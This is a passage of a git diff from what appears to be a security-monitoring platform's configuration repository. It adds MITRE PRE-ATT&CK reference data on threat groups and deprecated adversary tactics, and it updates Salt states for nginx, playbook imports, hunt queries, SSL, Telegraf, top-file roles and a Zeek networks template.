Dragon\u201d. Retrieved February 19, 2018.", + "url": "https://securingtomorrow.mcafee.com/wp-content/uploads/2011/02/McAfee_NightDragon_wp_draft_to_customersv1-1.pdf" + } + ], + "aliases": [ + "Night Dragon" + ], + "modified": "2020-10-15T00:54:00.656Z", + "created": "2017-05-31T21:31:51.643Z", + "x_mitre_version": "1.3" + }, + { + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "external_references": [ + { + "url": "https://attack.mitre.org/groups/G0088", + "source_name": "mitre-attack", + "external_id": "G0088" + }, + { + "source_name": "TEMP.Veles", + "description": "(Citation: FireEye TRITON 2019)" + }, + { + "source_name": "XENOTIME", + "description": "The activity group XENOTIME, as defined by Dragos, has overlaps with activity reported upon by FireEye about TEMP.Veles as well as the actors behind TRITON.(Citation: Dragos Xenotime 2018)(Citation: Pylos Xenotime 2019)(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018 )" + }, + { + "description": "Miller, S, et al. (2019, April 10). TRITON Actor TTP Profile, Custom Attack Tools, Detections, and ATT&CK Mapping. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2019/04/triton-actor-ttp-profile-custom-attack-tools-detections.html", + "source_name": "FireEye TRITON 2019" + }, + { + "description": "FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019.", + "url": "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html ", + "source_name": "FireEye TEMP.Veles 2018" + }, + { + "source_name": "FireEye TEMP.Veles JSON April 2019", + "url": "https://www.fireeye.com/content/dam/fireeye-www/blog/files/TRITON_Appendix_C.html", + "description": "Miller, S., et al. (2019, April 10). TRITON Appendix C. Retrieved April 29, 2019." + }, + { + "description": "Dragos, Inc.. (n.d.). Xenotime. Retrieved April 16, 2019.", + "url": "https://dragos.com/resource/xenotime/", + "source_name": "Dragos Xenotime 2018" + }, + { + "description": "Slowik, J.. (2019, April 12). A XENOTIME to Remember: Veles in the Wild. Retrieved April 16, 2019.", + "url": "https://pylos.co/2019/04/12/a-xenotime-to-remember-veles-in-the-wild/", + "source_name": "Pylos Xenotime 2019" + }, + { + "source_name": "FireEye TEMP.Veles 2018 ", + "url": "https://www.fireeye.com/blog/threat-research/2018/10/triton-attribution-russian-government-owned-lab-most-likely-built-tools.html ", + "description": "FireEye Intelligence . (2018, October 23). TRITON Attribution: Russian Government-Owned Lab Most Likely Built Custom Intrusion Tools for TRITON Attackers. Retrieved April 16, 2019." + } + ], + "name": "TEMP.Veles", + "description": "[TEMP.Veles](https://attack.mitre.org/groups/G0088) is a Russia-based threat group that has targeted critical infrastructure. The group has been observed utilizing TRITON, a malware framework designed to manipulate industrial safety systems.(Citation: FireEye TRITON 2019)(Citation: FireEye TEMP.Veles 2018)(Citation: FireEye TEMP.Veles JSON April 2019)", + "type": "intrusion-set", + "id": "intrusion-set--9538b1a4-4120-4e2d-bf59-3b11fcab05a4", + "aliases": [ + "TEMP.Veles", + "XENOTIME" + ], + "modified": "2020-10-04T23:31:36.937Z", + "created": "2019-04-16T15:14:38.533Z", + "x_mitre_version": "1.2" + }, + { + "id": "x-mitre-tactic--4652199e-eef5-4523-bd18-2b5070f56cd8", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Adversary OPSEC", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0021/).\n\nAdversary OPSEC consists of the use of various technologies or 3rd party services to obfuscate, hide, or blend in with accepted network traffic or system behavior. The adversary may use these techniques to evade defenses, reduce attribution, minimize discovery, and/or increase the time and effort required to analyze.", + "external_references": [ + { + "external_id": "TA0021", + "url": "https://attack.mitre.org/tactics/TA0021", + "source_name": "mitre-attack" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_shortname": "adversary-opsec", + "type": "x-mitre-tactic", + "modified": "2020-10-22T15:36:37.579Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_deprecated": true + }, + { + "id": "x-mitre-tactic--d849365b-3496-4e5c-b599-019da1b35266", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Build Capabilities", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0024/).\n\nBuilding capabilities consists of developing and/or acquiring the software, data and techniques used at different phases of an operation. This is the process of identifying development requirements and implementing solutions such as malware, delivery mechanisms, obfuscation/cryptographic protections, and call back and O&M functions.", + "external_references": [ + { + "external_id": "TA0024", + "url": "https://attack.mitre.org/tactics/TA0024", + "source_name": "mitre-attack" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_shortname": "build-capabilities", + "type": "x-mitre-tactic", + "modified": "2020-10-22T15:38:02.517Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_deprecated": true + }, + { + "id": "x-mitre-tactic--2289489d-8824-42fb-8c94-411aca6f664c", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Establish & Maintain Infrastructure", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0022/).\n\nEstablishing and maintaining infrastructure consists of building, purchasing, co-opting, and maintaining systems and services used to conduct cyber operations. An adversary will need to establish infrastructure used to communicate with and control assets used throughout the course of their operations.", + "external_references": [ + { + "external_id": "TA0022", + "url": "https://attack.mitre.org/tactics/TA0022", + "source_name": "mitre-attack" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_shortname": "establish-&-maintain-infrastructure", + "type": "x-mitre-tactic", + "modified": "2020-10-22T15:37:16.235Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_deprecated": true + }, + { + "id": "x-mitre-tactic--b9f8a273-6167-47cb-89e6-02774d067e24", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Organizational Information Gathering", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0017/).\n\nOrganizational information gathering consists of the process of identifying critical organizational elements of intelligence an adversary will need about a target in order to best attack.\u00a0 Similar to competitive intelligence, organizational intelligence gathering focuses on understanding the operational tempo of an organization and gathering a deep understanding of the organization and how it operates, in order to best develop a strategy to target it.", + "external_references": [ + { + "external_id": "TA0017", + "url": "https://attack.mitre.org/tactics/TA0017", + "source_name": "mitre-attack" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_shortname": "organizational-information-gathering", + "type": "x-mitre-tactic", + "modified": "2020-10-22T15:34:54.996Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_deprecated": true + }, + { + "id": "x-mitre-tactic--c6b17c99-31c1-490a-8b2b-a79502d6131b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Organizational Weakness Identification", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0020/).\n\nOrganizational weakness identification consists of identifying and analyzing weaknesses and vulnerabilities from the intelligence gathering phases which can be leveraged to gain access to target or intermediate target organizations of interest.", + "external_references": [ + { + "external_id": "TA0020", + "url": "https://attack.mitre.org/tactics/TA0020", + "source_name": "mitre-attack" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_shortname": "organizational-weakness-identification", + "type": "x-mitre-tactic", + "modified": "2020-10-22T15:36:16.863Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_deprecated": true + }, + { + "id": "x-mitre-tactic--d90bd741-2edb-4e74-8a6f-435143ad7bbb", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "People Information Gathering", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0016/).\n\nPeople Information Gathering consists of the process of identifying critical personnel elements of intelligence an adversary will need about a target in order to best attack.\u00a0 People intelligence gathering focuses on identifying key personnel or individuals with critical accesses in order to best approach a target for attack.\u00a0 It may involve aspects of social engineering, elicitation, mining social media sources, or be thought of as understanding the personnel element of competitive intelligence.", + "external_references": [ + { + "external_id": "TA0016", + "url": "https://attack.mitre.org/tactics/TA0016", + "source_name": "mitre-attack" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_shortname": "people-information-gathering", + "type": "x-mitre-tactic", + "modified": "2020-10-22T15:34:26.736Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_deprecated": true + }, + { + "id": "x-mitre-tactic--f30c2753-e6b2-4186-818d-99b8b1a0322b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "People Weakness Identification", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0019/).\n\nPeople weakness identification consists of identifying and analyzing weaknesses and vulnerabilities from the intelligence gathering phases which can be leveraged to gain access to target or intermediate target persons of interest or social trust relationships.", + "external_references": [ + { + "external_id": "TA0019", + "url": "https://attack.mitre.org/tactics/TA0019", + "source_name": "mitre-attack" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_shortname": "people-weakness-identification", + "type": "x-mitre-tactic", + "modified": "2020-10-22T15:35:52.355Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_deprecated": true + }, + { + "id": "x-mitre-tactic--d3909f10-8193-4a94-9bbb-1f2d5cb2373e", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Persona Development", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0023/).\n\nPersona development consists of the development of public information, presence, history and appropriate affiliations. This development could be applied to social media, website, or other publicly available information that could be referenced and scrutinized for legitimacy over the course of an operation using that persona or identity.", + "external_references": [ + { + "external_id": "TA0023", + "url": "https://attack.mitre.org/tactics/TA0023", + "source_name": "mitre-attack" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_shortname": "persona-development", + "type": "x-mitre-tactic", + "modified": "2020-10-22T15:37:42.444Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_deprecated": true + }, + { + "id": "x-mitre-tactic--0f0ff9a7-3c8d-4af6-8e45-f6d359553ffd", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Priority Definition Direction", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0013/).\n\nPriority definition direction consists of the process of collecting and assigning requirements for meeting Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ) as determined by leadership.", + "external_references": [ + { + "external_id": "TA0013", + "url": "https://attack.mitre.org/tactics/TA0013", + "source_name": "mitre-attack" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_shortname": "priority-definition-direction", + "type": "x-mitre-tactic", + "modified": "2020-10-22T15:32:47.554Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_deprecated": true + }, + { + "id": "x-mitre-tactic--b2a086f2-d3db-408b-b4d4-e09a1c84f940", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Priority Definition Planning", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0012/).\n\nPriority definition planning consists of the process of determining the set of Key Intelligence Topics (KIT) or Key Intelligence Questions (KIQ) required for meeting key strategic, operational, or tactical goals. Leadership outlines the priority definition (may be considered a goal) around which the adversary designs target selection and a plan to achieve. An analyst may outline the priority definition when in the course of determining gaps in existing KITs or KIQs.", + "external_references": [ + { + "external_id": "TA0012", + "url": "https://attack.mitre.org/tactics/TA0012", + "source_name": "mitre-attack" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_shortname": "priority-definition-planning", + "type": "x-mitre-tactic", + "modified": "2020-10-22T15:31:37.810Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_deprecated": true + }, + { + "id": "x-mitre-tactic--d8c84771-a3fa-4f64-914e-4db3a2be2607", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Stage Capabilities", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0026/).\n\nStaging capabilities consists of preparing operational environment required to conduct the operation. This includes activities such as deploying software, uploading data, enabling command and control infrastructure.", + "external_references": [ + { + "external_id": "TA0026", + "url": "https://attack.mitre.org/tactics/TA0026", + "source_name": "mitre-attack" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_shortname": "stage-capabilities", + "type": "x-mitre-tactic", + "modified": "2020-10-22T15:38:57.122Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_deprecated": true + }, + { + "id": "x-mitre-tactic--84f3ed3d-c72f-45d8-a3b8-4c18c2b188e6", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Target Selection", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0014/).\n\nTarget selection consists of an iterative process in which an adversary determines a target by first beginning at the strategic level and then narrowing down operationally and tactically until a specific target is chosen.\u00a0 A target may be defined as an entity or object that performs a function considered for possible engagement or other action.", + "external_references": [ + { + "external_id": "TA0014", + "url": "https://attack.mitre.org/tactics/TA0014", + "source_name": "mitre-attack" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_shortname": "target-selection", + "type": "x-mitre-tactic", + "modified": "2020-10-22T15:33:25.361Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_deprecated": true + }, + { + "id": "x-mitre-tactic--0abac415-7b49-4085-93b3-662ba1258b4b", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Technical Information Gathering", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0015/).\n\nTechnical information gathering consists of the process of identifying critical technical elements of intelligence an adversary will need about a target in order to best attack.\u00a0 Technical intelligence gathering includes, but is not limited to, understanding the target's network architecture, IP space, network services, email format, and security procedures.", + "external_references": [ + { + "external_id": "TA0015", + "url": "https://attack.mitre.org/tactics/TA0015", + "source_name": "mitre-attack" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_shortname": "technical-information-gathering", + "type": "x-mitre-tactic", + "modified": "2020-10-22T15:33:53.838Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_deprecated": true + }, + { + "id": "x-mitre-tactic--97689bbd-d5c4-4293-bde7-f11750cea2ec", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Technical Weakness Identification", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0018/).\n\nTechnical weakness identification consists of identifying and analyzing weaknesses and vulnerabilities collected during the intelligence gathering phases to determine best approach based on technical complexity and adversary priorities (e.g., expediency, stealthiness).", + "external_references": [ + { + "external_id": "TA0018", + "url": "https://attack.mitre.org/tactics/TA0018", + "source_name": "mitre-attack" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_shortname": "technical-weakness-identification", + "type": "x-mitre-tactic", + "modified": "2020-10-22T15:35:24.309Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_deprecated": true + }, + { + "id": "x-mitre-tactic--bc5c0e21-7c93-4809-a01e-249bcc42b0a2", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "Test Capabilities", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/tactics/TA0025/).\n\nTesting capabilities takes place when adversaries may need to test capabilities externally to refine development goals and criteria and to ensure success during an operation. Certain testing may be done after a capability is staged.", + "external_references": [ + { + "external_id": "TA0025", + "url": "https://attack.mitre.org/tactics/TA0025", + "source_name": "mitre-attack" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "x_mitre_shortname": "test-capabilities", + "type": "x-mitre-tactic", + "modified": "2020-10-22T15:38:29.580Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_deprecated": true + }, + { + "id": "x-mitre-matrix--2e2c97c3-1908-4e2d-a711-a27d3859eb1d", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "name": "PRE-ATT&CK", + "description": "This object is deprecated as its content has been merged into the enterprise domain. Please see the [PRE](http://attack.mitre.org/matrices/enterprise/pre/) matrix for its replacement. The prior content of this page has been preserved [here](https://attack.mitre.org/versions/v7/matrices/pre/).\n\nBelow are the tactics and techniques representing the MITRE PRE-ATT&CK Matrix.", + "external_references": [ + { + "external_id": "pre-attack", + "source_name": "mitre-attack", + "url": "https://attack.mitre.org/matrices/pre" + } + ], + "object_marking_refs": [ + "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" + ], + "type": "x-mitre-matrix", + "tactic_refs": [ + "x-mitre-tactic--b2a086f2-d3db-408b-b4d4-e09a1c84f940", + "x-mitre-tactic--0f0ff9a7-3c8d-4af6-8e45-f6d359553ffd", + "x-mitre-tactic--84f3ed3d-c72f-45d8-a3b8-4c18c2b188e6", + "x-mitre-tactic--0abac415-7b49-4085-93b3-662ba1258b4b", + "x-mitre-tactic--d90bd741-2edb-4e74-8a6f-435143ad7bbb", + "x-mitre-tactic--b9f8a273-6167-47cb-89e6-02774d067e24", + "x-mitre-tactic--97689bbd-d5c4-4293-bde7-f11750cea2ec", + "x-mitre-tactic--f30c2753-e6b2-4186-818d-99b8b1a0322b", + "x-mitre-tactic--c6b17c99-31c1-490a-8b2b-a79502d6131b", + "x-mitre-tactic--4652199e-eef5-4523-bd18-2b5070f56cd8", + "x-mitre-tactic--2289489d-8824-42fb-8c94-411aca6f664c", + "x-mitre-tactic--d3909f10-8193-4a94-9bbb-1f2d5cb2373e", + "x-mitre-tactic--d849365b-3496-4e5c-b599-019da1b35266", + "x-mitre-tactic--bc5c0e21-7c93-4809-a01e-249bcc42b0a2", + "x-mitre-tactic--d8c84771-a3fa-4f64-914e-4db3a2be2607" + ], + "modified": "2020-10-22T15:43:48.844Z", + "created": "2018-10-17T00:14:20.652Z", + "x_mitre_deprecated": true + }, + { + "type": "marking-definition", + "id": "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168", + "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", + "created": "2017-06-01T00:00:00Z", + "definition_type": "statement", + "definition": { + "statement": "Copyright 2015-2020, The MITRE Corporation. MITRE ATT&CK and ATT&CK are registered trademarks of The MITRE Corporation." + } + } + ] +} \ No newline at end of file diff --git a/salt/nginx/init.sls b/salt/nginx/init.sls index 615372216..a195eb400 100644 --- a/salt/nginx/init.sls +++ b/salt/nginx/init.sls @@ -67,6 +67,24 @@ navigatordefaultlayer: - replace: False - template: jinja +navigatorpreattack: + file.managed: + - name: /opt/so/conf/navigator/pre-attack.json + - source: salt://nginx/files/pre-attack.json + - user: 939 + - group: 939 + - makedirs: True + - replace: False + +navigatorenterpriseattack: + file.managed: + - name: /opt/so/conf/navigator/enterprise-attack.json + - source: salt://nginx/files/enterprise-attack.json + - user: 939 + - group: 939 + - makedirs: True + - replace: False + so-nginx: docker_container.running: - image: {{ MANAGER }}:5000/{{ IMAGEREPO }}/so-nginx:{{ VERSION }} @@ -83,6 +101,8 @@ so-nginx: # ATT&CK Navigator binds - /opt/so/conf/navigator/navigator_config.json:/opt/socore/html/navigator/assets/config.json:ro - /opt/so/conf/navigator/nav_layer_playbook.json:/opt/socore/html/navigator/assets/playbook.json:ro + - /opt/so/conf/navigator/enterprise-attack.json:/opt/socore/html/navigator/assets/enterprise-attack.json:ro + - /opt/so/conf/navigator/pre-attack.json:/opt/socore/html/navigator/assets/pre-attack.json:ro {% endif %} {% if ISAIRGAP is sameas true %} - /nsm/repo:/opt/socore/html/repo:ro diff --git a/salt/playbook/init.sls b/salt/playbook/init.sls index 491890dac..e437ae350 100644 --- a/salt/playbook/init.sls +++ b/salt/playbook/init.sls @@ -109,6 +109,18 @@ so-playbookruleupdatecron: - user: root - minute: '1' - hour: '6' + +{% if 'idh' in salt['cmd.shell']("ls /opt/so/saltstack/local/pillar/minions/|awk -F'_' {'print $2'}|awk -F'.' {'print $1'}").split() %} +idh-plays: + file.recurse: + - name: /opt/so/conf/soctopus/sigma-import + - source: salt://idh/plays + - makedirs: True + cmd.run: + - name: so-playbook-import True + - onchanges: + - file: /opt/so/conf/soctopus/sigma-import +{% endif %} {% else %} diff --git a/salt/soc/files/soc/hunt.queries.json b/salt/soc/files/soc/hunt.queries.json index 2aaef8e59..3125b2f74 100644 --- a/salt/soc/files/soc/hunt.queries.json +++ b/salt/soc/files/soc/hunt.queries.json @@ -7,7 +7,7 @@ { "name": "Wazuh/OSSEC Alerts", "description": "Show all Wazuh alerts at Level 5 or higher grouped by category", "query": "event.module:ossec AND event.dataset:alert AND rule.level:>4 | groupby rule.category rule.name"}, { "name": "Wazuh/OSSEC Alerts", "description": "Show all Wazuh alerts at Level 4 or lower grouped by category", "query": "event.module:ossec AND event.dataset:alert AND rule.level:<5 | groupby rule.category rule.name"}, { "name": "Wazuh/OSSEC Users and Commands", "description": "Show all Wazuh alerts grouped by username and command line", "query": "event.module:ossec AND event.dataset:alert | groupby user.escalated.keyword process.command_line"}, - { "name": "Wazuh/OSSEC Processes", "description": "Show all Wazuh alerts grouped by process name", "query": "event.module:ossec AND event.dataset:alert | groupby process.name.keyword"}, + { "name": "Wazuh/OSSEC Processes", "description": "Show all Wazuh alerts grouped by process name", "query": "event.module:ossec AND event.dataset:alert | groupby process.name"}, { "name": "Sysmon Events", "description": "Show all Sysmon logs grouped by event type", "query": "event.module:sysmon | groupby event.dataset"}, { "name": "Sysmon Usernames", "description": "Show all Sysmon logs grouped by username", "query": "event.module:sysmon | groupby event.dataset, user.name.keyword"}, { "name": "Strelka", "description": "Show all Strelka logs grouped by file type", "query": "event.module:strelka | groupby file.mime_type"}, @@ -56,11 +56,11 @@ { "name": "Software", "description": "List of software seen on the network", "query": "event.dataset:software | groupby software.type software.name"}, { "name": "SSH", "description": "SSH grouped by version and client", "query": "event.dataset:ssh | groupby ssh.version ssh.client"}, { "name": "SSL", "description": "SSL grouped by version and server name", "query": "event.dataset:ssl | groupby ssl.version ssl.server_name"}, - { "name": "SYSLOG", "description": "SYSLOG grouped by severity and facility ", "query": "event.dataset:syslog | groupby syslog.severity syslog.facility"}, + { "name": "SYSLOG", "description": "SYSLOG grouped by severity and facility ", "query": "event.dataset:syslog | groupby syslog.severity_label syslog.facility_label"}, { "name": "Tunnel", "description": "Tunnels grouped by type and action", "query": "event.dataset:tunnel | groupby tunnel.type event.action"}, { "name": "Weird", "description": "Zeek weird log grouped by name", "query": "event.dataset:weird | groupby weird.name"}, { "name": "x509", "description": "x.509 grouped by key length and name", "query": "event.dataset:x509 | groupby x509.certificate.key.length x509.san_dns"}, { "name": "x509", "description": "x.509 grouped by name and issuer", "query": "event.dataset:x509 | groupby x509.san_dns x509.certificate.issuer"}, { "name": "x509", "description": "x.509 grouped by name and subject", "query": "event.dataset:x509 | groupby x509.san_dns x509.certificate.subject"}, { "name": "Firewall", "description": "Firewall events grouped by action", "query": "event.dataset:firewall | groupby rule.action"} - ] \ No newline at end of file + ] diff --git a/salt/ssl/init.sls b/salt/ssl/init.sls index 7ac6687e1..533f347d8 100644 --- a/salt/ssl/init.sls +++ b/salt/ssl/init.sls @@ -447,7 +447,7 @@ fleetkeyperms: {% endif %} -{% if grains['role'] in ['so-sensor', 'so-manager', 'so-node', 'so-eval', 'so-helix', 'so-managersearch', 'so-heavynode', 'so-fleet', 'so-standalone', 'so-import', 'so-receiver'] %} +{% if grains['role'] in ['so-sensor', 'so-manager', 'so-node', 'so-eval', 'so-helix', 'so-managersearch', 'so-heavynode', 'so-fleet', 'so-standalone', 'so-idh', 'so-import', 'so-receiver'] %} fbcertdir: file.directory: diff --git a/salt/telegraf/init.sls b/salt/telegraf/init.sls index 600d7ddf7..e7b550259 100644 --- a/salt/telegraf/init.sls +++ b/salt/telegraf/init.sls @@ -8,7 +8,7 @@ include: - ssl -# Add Telegraf to monitor all the things. +# add Telegraf to monitor all the things tgraflogdir: file.directory: - name: /opt/so/log/telegraf @@ -46,8 +46,8 @@ tgrafconf: - source: salt://telegraf/etc/telegraf.conf - show_changes: False -#this file will be read by telegraf to send node details(management interface, monitor interface, etc) -# into influx so that grafan can build dashboards using queries +# this file will be read by telegraf to send node details (management interface, monitor interface, etc) +# into influx so that Grafana can build dashboards using queries node_config: file.managed: - name: /opt/so/conf/telegraf/node_config.json diff --git a/salt/top.sls b/salt/top.sls index b417089ba..67d717d3b 100644 --- a/salt/top.sls +++ b/salt/top.sls @@ -118,7 +118,7 @@ base: - elasticsearch {%- endif %} {%- if KIBANA %} - - kibana + - kibana.so_savedobjects_defaults {%- endif %} - pcap - suricata @@ -193,7 +193,7 @@ base: - redis {%- endif %} {%- if KIBANA %} - - kibana + - kibana.so_savedobjects_defaults {%- endif %} - curator {%- if ELASTALERT %} @@ -260,7 +260,7 @@ base: - redis {%- endif %} {%- if KIBANA %} - - kibana + - kibana.so_savedobjects_defaults {%- endif %} - pcap - suricata @@ -361,7 +361,7 @@ base: {%- endif %} - curator {%- if KIBANA %} - - kibana + - kibana.so_savedobjects_defaults {%- endif %} {%- if ELASTALERT %} - elastalert @@ -467,7 +467,7 @@ base: - elasticsearch {%- endif %} {%- if KIBANA %} - - kibana + - kibana.so_savedobjects_defaults {%- endif %} {%- if FILEBEAT %} - filebeat @@ -503,3 +503,20 @@ base: {%- endif %} - schedule - docker_clean + + '*_idh and G@saltversion:{{saltversion}}': + - match: compound + - ssl + - sensoroni + - telegraf + - firewall + {%- if WAZUH != 0 %} + - wazuh + {%- endif %} + {%- if FLEETMANAGER or FLEETNODE %} + - fleet.install_package + {%- endif %} + - schedule + - docker_clean + - filebeat + - idh diff --git a/salt/zeek/files/networks.cfg.jinja b/salt/zeek/files/networks.cfg.jinja new file mode 100644 index 000000000..f1ee065de --- /dev/null +++ b/salt/zeek/files/networks.cfg.jinja @@ -0,0 +1,9 @@ +{%- if salt['pillar.get']('sensor:hnsensor') %} +{%- set HOME_NET = salt['pillar.get']('sensor:hnsensor') %} +{%- else %} +{%- set HOME_NET = salt['pillar.get']('global:hnmanager') %} +{%- endif %} +{%- set HNLIST = HOME_NET.split(',') %} +{%- for HN in HNLIST %} +{{ HN }} +{%- endfor %} diff --git a/salt/zeek/init.sls b/salt/zeek/init.sls index 277a523a8..ff91762f5 100644 --- a/salt/zeek/init.sls +++ b/salt/zeek/init.sls @@ -127,6 +127,14 @@ nodecfg: - group: 939 - template: jinja +networkscfg: + file.managed: + - name: /opt/so/conf/zeek/networks.cfg + - source: salt://zeek/files/networks.cfg.jinja + - user: 937 + - group: 939 + - template: jinja + #zeekcleanscript: # file.managed: # - name: 